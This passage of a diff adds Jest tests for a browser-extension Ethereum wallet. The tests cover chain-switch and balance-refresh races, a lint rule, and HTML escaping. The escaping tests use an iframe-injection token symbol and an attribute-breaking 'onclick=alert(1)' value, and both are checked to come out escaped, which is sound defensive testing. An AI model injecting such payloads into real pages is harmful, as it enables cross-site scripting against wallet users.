+//     round trip. Any concurrent handler that loaded state replaced those
+//     objects, so the refreshed balances landed on detached ones and the save
+//     that followed persisted the pre-refresh values — while still stamping
+//     lastBalanceRefresh, suppressing the redo.
+//
+// Both use the real persistence path over a cloning storage stub. Nothing here
+// asserts the absence of a loadState() call; each asserts the OUTCOME, so it
+// holds against any implementation that gets the outcome right.
+
+const { Wallet } = require("ethers");
+const { networkById } = require("../src/shared/networks");
+const { makeStorageStub } = require("./support/storageStub");
+
+const SIGNER_KEY =
+    "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
+const signer = new Wallet(SIGNER_KEY);
+const RECIPIENT = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+
+const CONNECTED_ORIGIN = "https://dapp.example";
+const CONNECTED_HOSTNAME = "dapp.example";
+const EXT_URL = "chrome-extension://autistmask/";
+
+const MAINNET = networkById("mainnet");
+const SEPOLIA = networkById("sepolia");
+
+const NONCE = 7;
+const REFRESHED_BALANCE = "1.5";
+
+// The transaction the background populates, and the artifact signed from it.
+// Its chain is a parameter because the whole subject here is a chain moving
+// under work already committed to one.
+function populated(chainId) {
+    return {
+        type: 2,
+        chainId,
+        nonce: NONCE,
+        gasLimit: 100000n,
+        maxFeePerGas: 2000000000n,
+        maxPriorityFeePerGas: 1000000000n,
+        to: RECIPIENT,
+        value: 10000000000000000n,
+        data: "0x",
+    };
+}
+
+function storedProfile(networkId) {
+    const net = networkById(networkId);
+    return {
+        hasWallet: true,
+        wallets: [
+            {
+                name: "Wallet 1",
+                type: "hd",
+                xpub: "xpub-1",
+                addresses: [
+                    {
+                        address: signer.address,
+                        balance: "0.0",
+                        tokenBalances: [],
+                    },
+                ],
+            },
+        ],
+        activeAddress: signer.address,
+        networkId,
+        rpcUrl: net.defaultRpcUrl,
+        blockscoutUrl: net.defaultBlockscoutUrl,
+        allowedSites: { [signer.address]: [CONNECTED_HOSTNAME] },
+        deniedSites: {},
+        trackedTokens: [],
+        lastBalanceRefresh: 0,
+    };
+}
+
+async function settle() {
+    for (let i = 0; i < 60; i++) await Promise.resolve();
+}
+
+function deferred() {
+    let resolve;
+    const promise = new Promise((res) => {
+        resolve = res;
+    });
+    return { promise, resolve };
+}
+
+afterEach(() => {
+    delete global.chrome;
+});
+
+// The background worker over a cloning storage stub, with the network and the
+// clock stubbed out. `opts.refreshBalances` replaces the balance refresh so a
+// test can hold one open across another handler's whole turn.
+function loadWorker(networkId, opts) {
+    const options = opts || {};
+    jest.resetModules();
+
+    // Every provider this worker constructs, in order, with the endpoint and
+    // the network id it was given. The subject of the first test is which pair
+    // reaches the broadcast.
+    const providers = [];
+    const broadcastTransaction = jest.fn(async () => ({ hash: "0xfeed" }));
+
+    jest.doMock("../src/shared/balances", () => ({
+        getProvider: (rpcUrl, networkId2) => {
+            const provider = {
+                rpcUrl,
+                networkId: networkId2,
+                broadcastTransaction,
+                getNetwork: async () => ({
+                    chainId: BigInt(networkById(networkId2).networkVersion),
+                }),
+                getTransactionCount: async () => NONCE,
+                estimateGas: async () => 100000n,
+                getFeeData: async () => ({
+                    gasPrice: 2000000000n,
+                    maxFeePerGas: 2000000000n,
+                    maxPriorityFeePerGas: 1000000000n,
+                }),
+            };
+            providers.push(provider);
+            return provider;
+        },
+        refreshBalances:
+            options.refreshBalances || jest.fn(async () => undefined),
+    }));
+    jest.doMock("../src/shared/phishingDomains", () => ({
+        isPhishingDomain: () => false,
+    }));
+    let alarmHandlers = {};
+    jest.doMock("../src/shared/alarms", () => ({
+        BALANCE_REFRESH_ALARM: "balance",
+        BALANCE_REFRESH_PERIOD_MINUTES: 1,
+        ensureRecurringAlarms: jest.fn(async () => {}),
+        registerAlarmHandlers: jest.fn((handlers) => {
+            alarmHandlers = handlers;
+        }),
+    }));
+
+    const storage = makeStorageStub({ autistmask: storedProfile(networkId) });
+    // A hook the tests use to suspend one handler mid-flight, so the other one
+    // runs entirely inside its window.
+    let getHook = null;
+    const realGet = storage.local.get;
+    storage.local.get = jest.fn(async (key) => {
+        if (getHook) await getHook();
+        return realGet(key);
+    });
+
+    let messageListener = null;
+    // Every popup URL the background opened. The approval id is in it, and
+    // that is how the popup learns which approval it is answering.
+    const createdUrls = [];
+    global.chrome = {
+        storage,
+        runtime: {
+            getURL: (path) => EXT_URL + path,
+            onMessage: {
+                addListener: (fn) => {
+                    messageListener = fn;
+                },
+            },
+            onConnect: { addListener: () => {} },
+            lastError: null,
+        },
+        windows: {
+            getLastFocused: (cb) => cb(null),
+            create: (createOpts, cb) => {
+                createdUrls.push(createOpts.url);
+                cb({ id: createdUrls.length });
+            },
+            remove: (id, cb) => {
+                if (cb) cb();
+            },
+            onRemoved: { addListener: () => {} },
+        },
+        tabs: {
+            query: (queryInfo, cb) => cb([{ id: 1 }]),
+            sendMessage: (tabId, message, cb) => {
+                if (cb) cb();
+            },
+        },
+        action: { setPopup: () => {} },
+    };
+
+    require("../src/background/index");
+
+    function send(msg, sender) {
+        let result = null;
+        const kept = messageListener(msg, sender, (r) => {
+            result = r;
+        });
+        return { kept, result: () => result };
+    }
+
+    function rpc(method, params, origin) {
+        return send(
+            { type: "AUTISTMASK_RPC", method, params },
+            { origin: origin || CONNECTED_ORIGIN },
+        );
+    }
+
+    return {
+        rpc,
+        send,
+        providers,
+        broadcastTransaction,
+        persisted: () => storage.read("autistmask"),
+        setGetHook: (hook) => {
+            getHook = hook;
+        },
+        fromPopup: { url: EXT_URL + "src/popup/index.html" },
+        fireBalanceAlarm: () => alarmHandlers.balance(),
+        lastApprovalId: () => {
+            const url = createdUrls[createdUrls.length - 1];
+            if (!url) return null;
+            return new URL(url, EXT_URL).searchParams.get("approval");
+        },
+    };
+}
+
+describe("a chain switch under a transaction already committed to a chain", () => {
+    // Item 4 of https://git.eeqj.de/sneak/AutistMask/issues/324.
+    //
+    // The artifact is verified against the chain read at the top of the
+    // attempt. Whatever endpoint it is then broadcast to has to be that same
+    // chain's — otherwise the wallet checks a transaction against Sepolia and
+    // sends it to a mainnet node. A connected site can switch the chain at any
+    // moment, including this one.
+    test("the artifact is broadcast to the endpoint of the chain it was verified against", async () => {
+        const bg = loadWorker("sepolia");
+
+        // Raise the approval, then find its id from the popup's own fetch.
+        bg.rpc("eth_sendTransaction", [
+            {
+                from: signer.address,
+                to: RECIPIENT,
+                value: "0x2386f26fc10000",
+                data: "0x",
+            },
+        ]);
+        await settle();
+
+        const id = bg.lastApprovalId();
+        expect(id).toBeTruthy();
+
+        // The popup signs what it was shown: Sepolia.
+        const rawSignedTx = await signer.signTransaction(
+            populated(Number(SEPOLIA.networkVersion)),
+        );
+
+        // A connected site switches the chain while the attempt is running,
+        // and the switch is committed to storage in full before the attempt
+        // goes any further.
+        //
+        // It is fired from inside the attempt's SECOND state read, because
+        // that is where the window used to be: the chain id was captured at
+        // the first read and the endpoint was taken off the singleton several
+        // awaits later, so a switch landing between them moved the endpoint
+        // under an artifact already verified against the old chain. An
+        // implementation that takes both from one read has no second read for
+        // this to fire on, and the switch below runs after the attempt is
+        // done instead — which is the point.
+        let reads = 0;
+        let switched = null;
+        const doSwitch = async () => {
+            switched = bg.rpc("wallet_switchEthereumChain", [
+                { chainId: MAINNET.chainId },
+            ]);
+            await settle();
+        };
+        bg.setGetHook(async () => {
+            reads++;
+            if (reads !== 2) return;
+            bg.setGetHook(null);
+            await doSwitch();
+        });
+
+        const attempt = bg.send(
+            {
+                type: "AUTISTMASK_TX_RESPONSE",
+                id,
+                approved: true,
+                rawSignedTx,
+            },
+            { url: bg.fromPopup.url },
+        );
+        await settle();
+
+        bg.setGetHook(null);
+        if (!switched) await doSwitch();
+        expect(switched.result()).toEqual({ result: null });
+        expect(bg.persisted().networkId).toBe("mainnet");
+        await settle();
+
+        // It went out, and it went out to Sepolia's node — the chain the
+        // artifact was verified against. Reading the endpoint separately from
+        // the chain id put mainnet's here.
+        expect(attempt.result()).toEqual({ txHash: "0xfeed" });
+        expect(bg.broadcastTransaction).toHaveBeenCalledTimes(1);
+        const used = bg.providers[bg.providers.length - 1];
+        expect(used.rpcUrl).toBe(SEPOLIA.defaultRpcUrl);
+        expect(used.networkId).toBe("sepolia");
+    });
+});
+
+describe("a balance refresh under another handler's state read", () => {
+    // Item 5 of https://git.eeqj.de/sneak/AutistMask/issues/324.
+    //
+    // The trigger is a same-chain wallet_switchEthereumChain from a connected
+    // site: it answers { result: null } and changes nothing, so the ONLY thing
+    // it can do to the refresh is what its state read does. On the singleton
+    // that read replaced state.wallets, detaching the objects the refresh was
+    // mutating.
+    test("a chain read arriving mid-refresh does not discard the refresh", async () => {
+        const roundTrip = deferred();
+        const reachedNetwork = deferred();
+
+        const bg = loadWorker("sepolia", {
+            refreshBalances: async (wallets) => {
+                reachedNetwork.resolve();
+                await roundTrip.promise;
+                // In place, on the objects handed in — as balances.js does.
+                wallets[0].addresses[0].balance = REFRESHED_BALANCE;
+            },
+        });
+
+        const refresh = bg.fireBalanceAlarm();
+        await reachedNetwork.promise;
+
+        const answered = bg.rpc("wallet_switchEthereumChain", [
+            { chainId: SEPOLIA.chainId },
+        ]);
+        await settle();
+        expect(answered.result()).toEqual({ result: null });
+
+        roundTrip.resolve();
+        await refresh;
+
+        expect(bg.persisted().wallets[0].addresses[0].balance).toBe(
+            REFRESHED_BALANCE,
+        );
+        expect(bg.persisted().lastBalanceRefresh).toBeGreaterThan(0);
+    });
+
+    // The other half of "does not publish a shared object": a wallet added
+    // while the refresh was in flight must survive the refresh's own write.
+    test("a wallet added mid-refresh survives the refresh's write", async () => {
+        const roundTrip = deferred();
+        const reachedNetwork = deferred();
+
+        const bg = loadWorker("sepolia", {
+            refreshBalances: async (wallets) => {
+                reachedNetwork.resolve();
+                await roundTrip.promise;
+                wallets[0].addresses[0].balance = REFRESHED_BALANCE;
+            },
+        });
+
+        const refresh = bg.fireBalanceAlarm();
+        await reachedNetwork.promise;
+
+        // Another extension page adds a wallet while the round trip is out.
+        const during = bg.persisted();
+        during.wallets.push({
+            name: "Wallet 2",
+            type: "hd",
+            xpub: "xpub-2",
+            addresses: [
+                { address: RECIPIENT, balance: "0.0", tokenBalances: [] },
+            ],
+        });
+        global.chrome.storage.write("autistmask", during);
+
+        roundTrip.resolve();
+        await refresh;
+
+        const after = bg.persisted();
+        expect(after.wallets).toHaveLength(2);
+        expect(after.wallets[0].addresses[0].balance).toBe(REFRESHED_BALANCE);
+    });
+});

tests/backgroundStateLintRule.test.js

@@ -0,0 +1,191 @@
+// The lint rule that keeps src/shared/state.js out of the background bundle
+// (script/lib/eslint/noStateSingletonInBackground.js).
+//
+// Five defects, one of which destroyed a wallet, came from background code
+// reaching that singleton, and each point fix created the next site
+// (https://git.eeqj.de/sneak/AutistMask/issues/324). The prohibition is
+// therefore mechanical rather than a review item — which means the rule's
+// coverage is itself load-bearing, and a hole in it is indistinguishable from
+// having no rule at all.
+//
+// The hole this file exists to pin shut is SPECIFIER SYNTAX. The rule walks the
+// require graph textually, and a first version matched only `require("x")` and
+// `require('x')`. Every shape below was measured against a real `make build`:
+// each one puts state.js in dist/chrome/src/background/index.js, and each one
+// was invisible to the narrower match. So each is a case here, and a regression
+// in the matcher fails the suite instead of shipping a sixth site.
+//
+// NOT covered, deliberately: a computed specifier such as
+// `require("../shared/" + "state")`. esbuild cannot resolve that statically
+// either, so it never reaches the bundle — there is nothing to block.
+
+const fs = require("fs");
+const os = require("os");
+const path = require("path");
+const { Linter } = require("eslint");
+
+const plugin = require("../script/lib/eslint/noStateSingletonInBackground");
+
+const RULE = "background/no-state-singleton-in-background";
+
+// The three files a fixture tree always has. `src/background/index.js` is
+// supplied per case; the other two stand in for the real modules.
+const SHARED_STATE = "const state = {};\nmodule.exports = { state };\n";
+const SHARED_HOP =
+    "// A shared module the background legitimately imports.\n" +
+    "module.exports = { applyChainSwitchFields() {} };\n";
+
+let roots = [];
+
+function fixture(files) {
+    const root = fs.realpathSync(
+        fs.mkdtempSync(path.join(os.tmpdir(), "autistmask-state-rule-")),
+    );
+    roots.push(root);
+    const tree = {
+        "src/shared/state.js": SHARED_STATE,
+        "src/shared/chainSwitchFields.js": SHARED_HOP,
+        ...files,
+    };
+    for (const [rel, source] of Object.entries(tree)) {
+        const abs = path.join(root, rel);
+        fs.mkdirSync(path.dirname(abs), { recursive: true });
+        fs.writeFileSync(abs, source);
+    }
+    return root;
+}
+
+// Run the rule exactly as eslint.config.js runs it, over a real tree: the walk
+// reads its sources from disk, so a virtual RuleTester would not exercise it.
+// `sourceType` is the fixture's own, not the rule's business: the walk is
+// textual and never parses the files it follows. The two ESM cases below pass
+// "module" only so espree can parse the fixture at all — in this repo those
+// shapes are also a parse error under the commonjs config, but the rule must
+// not be left depending on that.
+function lintBackground(root, { sourceType = "commonjs" } = {}) {
+    const file = path.join(root, "src/background/index.js");
+    const linter = new Linter({ cwd: root });
+    return linter.verify(
+        fs.readFileSync(file, "utf8"),
+        {
+            plugins: { background: plugin },
+            languageOptions: { ecmaVersion: 2024, sourceType },
+            rules: { [RULE]: "error" },
+        },
+        file,
+    );
+}
+
+function chainOf(messages) {
+    expect(messages).toHaveLength(1);
+    expect(messages[0].ruleId).toBe(RULE);
+    // "...singleton: <chain>. The MV3 worker..." — the chain is what the
+    // message exists to hand the reader, so assert on it rather than on the
+    // fact that something was reported.
+    return messages[0].message.split("singleton: ")[1].split(". The MV3")[0];
+}
+
+afterEach(() => {
+    for (const root of roots) fs.rmSync(root, { recursive: true, force: true });
+    roots = [];
+});
+
+describe("every specifier syntax esbuild resolves is blocked", () => {
+    test("a quoted require", () => {
+        const root = fixture({
+            "src/background/index.js":
+                'const { state } = require("../shared/state");\n' +
+                "module.exports = { state };\n",
+        });
+        expect(chainOf(lintBackground(root))).toBe(
+            "src/background/index.js -> src/shared/state.js",
+        );
+    });
+
+    test("a backtick require", () => {
+        const root = fixture({
+            "src/background/index.js":
+                "const { state } = require(`../shared/state`);\n" +
+                "module.exports = { state };\n",
+        });
+        expect(chainOf(lintBackground(root))).toBe(
+            "src/background/index.js -> src/shared/state.js",
+        );
+    });
+
+    test("a dynamic import inside an async function", () => {
+        const root = fixture({
+            "src/background/index.js":
+                "async function readState() {\n" +
+                '    const m = await import("../shared/state");\n' +
+                "    return m.state;\n" +
+                "}\n" +
+                "module.exports = { readState };\n",
+        });
+        expect(chainOf(lintBackground(root))).toBe(
+            "src/background/index.js -> src/shared/state.js",
+        );
+    });
+
+    test("a static import from-clause", () => {
+        const root = fixture({
+            "src/background/index.js":
+                'import { state } from "../shared/state";\n' +
+                "export { state };\n",
+        });
+        expect(chainOf(lintBackground(root, { sourceType: "module" }))).toBe(
+            "src/background/index.js -> src/shared/state.js",
+        );
+    });
+
+    test("a bare side-effect import", () => {
+        const root = fixture({
+            "src/background/index.js": 'import "../shared/state";\n',
+        });
+        expect(chainOf(lintBackground(root, { sourceType: "module" }))).toBe(
+            "src/background/index.js -> src/shared/state.js",
+        );
+    });
+});
+
+describe("reachability, not just the direct specifier", () => {
+    // The shape a no-restricted-imports could never see: no background file
+    // names state.js, and the singleton is in the bundle anyway. In a backtick
+    // require, so this fails on the specifier widening as well as on the walk.
+    test("a two-hop re-export through a shared module", () => {
+        const root = fixture({
+            "src/background/index.js":
+                'const { applyChainSwitchFields } = require("../shared/chainSwitchFields");\n' +
+                "module.exports = { applyChainSwitchFields };\n",
+            "src/shared/chainSwitchFields.js":
+                SHARED_HOP +
+                "module.exports.state = require(`./state`).state;\n",
+        });
+        expect(chainOf(lintBackground(root))).toBe(
+            "src/background/index.js -> src/shared/chainSwitchFields.js" +
+                " -> src/shared/state.js",
+        );
+    });
+});
+
+describe("what the rule must not report", () => {
+    test("a background file that reaches only its own state layer", () => {
+        const root = fixture({
+            "src/background/index.js":
+                'const { getState } = require("./state");\n' +
+                'const { applyChainSwitchFields } = require("../shared/chainSwitchFields");\n' +
+                "module.exports = { getState, applyChainSwitchFields };\n",
+            "src/background/state.js":
+                "async function getState() {}\nmodule.exports = { getState };\n",
+        });
+        expect(lintBackground(root)).toEqual([]);
+    });
+
+    // The tree as it actually stands. This is the assertion that would catch a
+    // widened matcher that resolves something it should not: it runs the rule
+    // over the real background entrypoint, from the real repo root.
+    test("the repository's own background entrypoint", () => {
+        const root = path.resolve(__dirname, "..");
+        expect(lintBackground(root)).toEqual([]);
+    });
+});

tests/balanceLineEscaping.test.js

@@ -0,0 +1,69 @@
+// balanceLine() is the row that issue #307 was reported against: every
+// screen that lists a holding renders through it, and the symbol it renders
+// is whatever an ERC-20's symbol() returned. This asserts against the
+// string it emits, which is what gets assigned to innerHTML.
+//
+// The browser half of the same claim — that a real Chrome renders that
+// string as text and puts no iframe in the popup DOM — is in
+// tests/e2e/run.js. This half runs inside the 20-second make test cap.
+
+"use strict";
+
+// helpers.js reaches for both at module scope through the modules it pulls
+// in. Neither is exercised by anything asserted here.
+global.chrome = {
+    storage: {
+        local: {
+            get: () => Promise.resolve({}),
+            set: () => Promise.resolve(),
+        },
+    },
+    runtime: { sendMessage: () => {} },
+};
+global.document = {
+    getElementById: () => null,
+    createElement: () => ({ style: {}, classList: { toggle() {} } }),
+    body: { prepend: () => {} },
+    addEventListener: () => {},
+};
+
+const { balanceLine } = require("../src/popup/views/helpers");
+const { MAX_SYMBOL_LENGTH } = require("../src/shared/symbolDisplay");
+
+// The payload from the issue's reproduction, verbatim.
+const HOSTILE_SYMBOL =
+    '<iframe id="pwn" src="https://dapp.e2e.test/" ' +
+    'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
+
+describe("balanceLine", () => {
+    test("emits a hostile symbol as text, not as an element", () => {
+        // Deliberately asserted on the escaping alone. The cap truncates
+        // this payload before its id attribute, so an assertion about the
+        // rest of the payload would pass on the cap and say nothing about
+        // the escape.
+        const html = balanceLine(HOSTILE_SYMBOL, 1, null, null);
+        expect(html).not.toContain("<iframe");
+        expect(html).toContain("&lt;iframe");
+    });
+
+    test("caps the symbol before rendering it", () => {
+        const html = balanceLine("A".repeat(4096), 1, null, null);
+        expect(html).toContain("A".repeat(MAX_SYMBOL_LENGTH - 1) + "…");
+        expect(html).not.toContain("A".repeat(MAX_SYMBOL_LENGTH + 1));
+    });
+
+    // The token id lands inside data-token="...", so a quote in it is a
+    // way out of the attribute and into a new one.
+    test("keeps a quote-bearing token id inside its attribute", () => {
+        const html = balanceLine("TKN", 1, null, '" onclick="alert(1)');
+        expect(html).not.toContain('onclick="');
+        expect(html).toContain('data-token="&quot; onclick=&quot;alert(1)"');
+    });
+
+    test("renders an ordinary holding unchanged", () => {
+        const html = balanceLine("USDC", 1.5, null, "0xabc");
+        expect(html).toContain("<span>USDC</span>");
+        expect(html).toContain("<span>1.5000</span>");
+        expect(html).toContain('data-token="0xabc"');
+    });
+});

tests/chainSwitchGate.test.js

@@ -8,10 +8,12 @@
 // broadcast — because an error code alone would not distinguish a gate from
 // a switch that happened and then reported a failure.
 //
-// The endpoint half of that issue lives in tests/networkEndpoints.test.js;
-// this file mocks the state module, which that one exercises for real.
+// The endpoint half of that issue lives in tests/networkEndpoints.test.js,
+// which covers the popup's chain switch; this file covers the background's,
+// which goes through storage rather than the shared state singleton.
 
 const { networkById } = require("../src/shared/networks");
+const { makeStorageStub } = require("./support/storageStub");
 
 const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
 
@@ -51,29 +53,11 @@ afterEach(() => {
 // ---------------------------------------------------------------------------
 
 // Load the background worker against stubbed browser APIs, with the real
-// chain-switch module behind it, and return the handles to drive it. The
-// wallet state is a plain object so that a switch that DID happen is visible
-// as a mutation of it, and one that did not is visible as its absence.
+// chain-switch and persistence modules behind it, and return the handles to
+// drive it.
 function loadBackground() {
     jest.resetModules();
 
-    const walletState = {
-        networkId: "mainnet",
-        rpcUrl: CUSTOM_RPC,
-        blockscoutUrl: MAINNET.defaultBlockscoutUrl,
-        networkEndpoints: {},
-        wallets: walletFixture(),
-        lastBalanceRefresh: 1,
-        tokenHolderCache: {},
-        fraudContracts: [],
-    };
-
-    jest.doMock("../src/shared/state", () => ({
-        state: walletState,
-        loadState: jest.fn(async () => {}),
-        saveState: jest.fn(async () => {}),
-        currentNetwork: () => networkById(walletState.networkId),
-    }));
     jest.doMock("../src/shared/balances", () => ({
         getProvider: () => ({}),
         refreshBalances: jest.fn(async () => {}),
@@ -88,12 +72,24 @@ function loadBackground() {
         registerAlarmHandlers: jest.fn(),
     }));
 
+    // Storage is the only wallet state there is. The background reads and
+    // writes it per call — it holds no in-memory copy and cannot reach the
+    // shared singleton — so a switch that happened is visible here as a
+    // written record, and one that did not is visible as its absence.
     const persisted = {
+        networkId: "mainnet",
+        rpcUrl: CUSTOM_RPC,
+        blockscoutUrl: MAINNET.defaultBlockscoutUrl,
+        networkEndpoints: {},
         wallets: walletFixture(),
+        lastBalanceRefresh: 1,
+        tokenHolderCache: {},
+        fraudContracts: [],
         activeAddress: ADDRESS,
         allowedSites: { [ADDRESS]: [CONNECTED_HOSTNAME] },
         deniedSites: {},
     };
+    const storage = makeStorageStub({ autistmask: persisted });
 
     let messageListener = null;
     // Every message the background pushed at a content script. chainChanged
@@ -102,12 +98,7 @@ function loadBackground() {
     const toTabs = [];
 
     global.chrome = {
-        storage: {
-            local: {
-                get: jest.fn(async () => ({ autistmask: persisted })),
-                set: jest.fn(async () => {}),
-            },
-        },
+        storage,
         runtime: {
             getURL: (path) => "chrome-extension://autistmask/" + path,
             onMessage: {
@@ -157,7 +148,7 @@ function loadBackground() {
 
     return {
         switchChain,
-        walletState,
+        walletState: () => storage.read("autistmask"),
         chainChangedEvents: () =>
             toTabs.filter((m) => m.eventName === "chainChanged"),
     };
@@ -174,8 +165,8 @@ describe("wallet_switchEthereumChain is gated on the connection", () => {
         // The refusal has to be a refusal to ACT, not just an error string:
         // the wallet is still on mainnet, still on the user's own node, and
         // no page was told the chain moved.
-        expect(bg.walletState.networkId).toBe("mainnet");
-        expect(bg.walletState.rpcUrl).toBe(CUSTOM_RPC);
+        expect(bg.walletState().networkId).toBe("mainnet");
+        expect(bg.walletState().rpcUrl).toBe(CUSTOM_RPC);
         expect(bg.chainChangedEvents()).toEqual([]);
     });
 
@@ -201,7 +192,7 @@ describe("wallet_switchEthereumChain is gated on the connection", () => {
         const result = await bg.switchChain(SEPOLIA.chainId, CONNECTED_ORIGIN);
 
         expect(result).toEqual({ result: null });
-        expect(bg.walletState.networkId).toBe("sepolia");
+        expect(bg.walletState().networkId).toBe("sepolia");
         expect(bg.chainChangedEvents()).toEqual([
             {
                 type: "AUTISTMASK_EVENT",
@@ -217,16 +208,16 @@ describe("wallet_switchEthereumChain is gated on the connection", () => {
         const result = await bg.switchChain("0x89", CONNECTED_ORIGIN);
 
         expect(result.error.code).toBe(4902);
-        expect(bg.walletState.networkId).toBe("mainnet");
+        expect(bg.walletState().networkId).toBe("mainnet");
     });
 
     test("a switch by a connected origin keeps the user's endpoint", async () => {
         const bg = loadBackground();
 
         await bg.switchChain(SEPOLIA.chainId, CONNECTED_ORIGIN);
-        expect(bg.walletState.rpcUrl).toBe(SEPOLIA.defaultRpcUrl);
+        expect(bg.walletState().rpcUrl).toBe(SEPOLIA.defaultRpcUrl);
 
         await bg.switchChain(MAINNET.chainId, CONNECTED_ORIGIN);
-        expect(bg.walletState.rpcUrl).toBe(CUSTOM_RPC);
+        expect(bg.walletState().rpcUrl).toBe(CUSTOM_RPC);
     });
 });

tests/coldWorkerChainId.test.js

@@ -0,0 +1,258 @@
+// What eth_chainId and net_version answer on a worker that has not loaded
+// state yet.
+//
+// The MV3 service worker is terminated when idle and revived by the next
+// message, and nothing loads state at module scope. Both methods answered from
+// currentNetwork(), which reads the module-level `state` singleton, so a
+// worker revived by the page's own message answered out of DEFAULT_STATE and
+// told a page it was on mainnet while the user was on Sepolia
+// (https://git.eeqj.de/sneak/AutistMask/issues/317).
+//
+// This file therefore uses the REAL state module and never calls loadState()
+// itself: the handler has to answer from storage on its own. Same shape as
+// tests/coldWorkerChainSwitch.test.js, which covers the write side.
+
+const { networkById } = require("../src/shared/networks");
+
+const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+
+const CONNECTED_ORIGIN = "https://dapp.example";
+const CONNECTED_HOSTNAME = "dapp.example";
+const UNKNOWN_ORIGIN = "https://stranger.example";
+
+const MAINNET = networkById("mainnet");
+const SEPOLIA = networkById("sepolia");
+
+const REFRESHED_BALANCE = "1.5";
+
+function storedProfile(networkId) {
+    return {
+        hasWallet: true,
+        wallets: [
+            {
+                name: "Wallet 1",
+                type: "hd",
+                addresses: [
+                    { address: ADDRESS, balance: "0", tokenBalances: [] },
+                ],
+            },
+        ],
+        activeAddress: ADDRESS,
+        networkId,
+        rpcUrl: networkById(networkId).defaultRpcUrl,
+        blockscoutUrl: networkById(networkId).defaultBlockscoutUrl,
+        allowedSites: { [ADDRESS]: [CONNECTED_HOSTNAME] },
+        deniedSites: {},
+        trackedTokens: [],
+    };
+}
+
+async function settle() {
+    for (let i = 0; i < 50; i++) await Promise.resolve();
+}
+
+afterEach(() => {
+    delete global.chrome;
+});
+
+// Load the background worker with the real state module behind it, over a
+// storage stub that keeps what is written.
+//
+// The stub structured-clones in both directions, as the real
+// chrome.storage.local does. A stub that handed back the live stored object
+// would alias it into whatever read it, so an in-place mutation of a detached
+// copy would appear to have reached storage and this whole class of defect
+// would be invisible here.
+//
+// opts.refreshBalances replaces the balances stub, so a test can hold a
+// refresh open across a message.
+function loadColdWorker(networkId, opts) {
+    jest.resetModules();
+
+    const options = opts || {};
+
+    jest.doMock("../src/shared/balances", () => ({
+        getProvider: () => ({}),
+        refreshBalances: options.refreshBalances || jest.fn(async () => {}),
+    }));
+    jest.doMock("../src/shared/phishingDomains", () => ({
+        isPhishingDomain: () => false,
+    }));
+
+    let alarmHandlers = {};
+    jest.doMock("../src/shared/alarms", () => ({
+        BALANCE_REFRESH_ALARM: "balance",
+        BALANCE_REFRESH_PERIOD_MINUTES: 1,
+        ensureRecurringAlarms: jest.fn(async () => {}),
+        registerAlarmHandlers: jest.fn((handlers) => {
+            alarmHandlers = handlers;
+        }),
+    }));
+
+    const store = { autistmask: storedProfile(networkId) };
+
+    let messageListener = null;
+    const set = jest.fn(async (items) => {
+        store.autistmask = structuredClone(items.autistmask);
+    });
+
+    global.chrome = {
+        storage: {
+            local: {
+                get: jest.fn(async () => structuredClone(store)),
+                set,
+            },
+        },
+        runtime: {
+            getURL: (path) => "chrome-extension://autistmask/" + path,
+            onMessage: {
+                addListener: (fn) => {
+                    messageListener = fn;
+                },
+            },
+            onConnect: { addListener: () => {} },
+            lastError: null,
+        },
+        windows: {
+            getLastFocused: (cb) => cb(null),
+            create: (options, cb) => cb({ id: 1 }),
+            remove: (id, cb) => {
+                if (cb) cb();
+            },
+            onRemoved: { addListener: () => {} },
+        },
+        tabs: {
+            query: (queryInfo, cb) => cb([{ id: 1 }]),
+            sendMessage: (tabId, message, cb) => {
+                if (cb) cb();
+            },
+        },
+        action: { setPopup: () => {} },
+    };
+
+    require("../src/background/index");
+
+    async function rpc(method, origin) {
+        let result = null;
+        messageListener(
+            { type: "AUTISTMASK_RPC", method, params: [] },
+            { origin: origin || CONNECTED_ORIGIN },
+            (r) => {
+                result = r;
+            },
+        );
+        await settle();
+        return result;
+    }
+
+    return {
+        rpc,
+        persisted: () => store.autistmask,
+        storageSet: set,
+        fireBalanceAlarm: () => alarmHandlers.balance(),
+    };
+}
+
+describe("chain identity read by a worker that never loaded state", () => {
+    test("eth_chainId answers the stored chain, not the default", async () => {
+        // The first message this worker ever sees. Reading the unloaded
+        // singleton answers mainnet's 0x1 to a user who is on Sepolia.
+        const bg = loadColdWorker("sepolia");
+
+        expect(await bg.rpc("eth_chainId")).toEqual({
+            result: SEPOLIA.chainId,
+        });
+    });
+
+    test("net_version answers the stored chain, not the default", async () => {
+        const bg = loadColdWorker("sepolia");
+
+        expect(await bg.rpc("net_version")).toEqual({
+            result: SEPOLIA.networkVersion,
+        });
+    });
+
+    test("answers the stored chain to an origin that never connected", async () => {
+        // Neither method is gated on a connection, so the stale answer reached
+        // any page at all; the fixed answer has to as well.
+        const bg = loadColdWorker("sepolia");
+
+        expect(await bg.rpc("eth_chainId", UNKNOWN_ORIGIN)).toEqual({
+            result: SEPOLIA.chainId,
+        });
+        expect(await bg.rpc("net_version", UNKNOWN_ORIGIN)).toEqual({
+            result: SEPOLIA.networkVersion,
+        });
+    });
+
+    test("answers mainnet for a profile stored on mainnet", async () => {
+        // The default and the stored value agree here, so this case cannot
+        // catch the defect; it is what keeps the fix from being a swap.
+        const bg = loadColdWorker("mainnet");
+
+        expect(await bg.rpc("eth_chainId")).toEqual({
+            result: MAINNET.chainId,
+        });
+        expect(await bg.rpc("net_version")).toEqual({
+            result: MAINNET.networkVersion,
+        });
+    });
+
+    test("persists nothing: these are reads", async () => {
+        // The load must not turn a read into a write. saveState() persists
+        // every field of the singleton, and a read path that reached it would
+        // be the wipe https://git.eeqj.de/sneak/AutistMask/issues/316 fixed.
+        const bg = loadColdWorker("sepolia");
+
+        await bg.rpc("eth_chainId");
+        await bg.rpc("net_version");
+
+        expect(bg.storageSet).not.toHaveBeenCalled();
+        expect(bg.persisted()).toEqual(storedProfile("sepolia"));
+    });
+
+    test("a chain read arriving mid-refresh does not discard the refresh", async () => {
+        // Any page reaches these two methods, and the injected provider sends
+        // eth_chainId on every page load, so this overlap is ordinary traffic
+        // rather than a contrived race.
+        //
+        // backgroundRefresh() hands the singleton's wallets to
+        // refreshBalances(), which mutates those address objects in place once
+        // the network round trip resolves, and only then saves. Answering the
+        // page by calling loadState() would replace state.wallets mid-flight,
+        // so the refreshed balances would land on detached objects and the
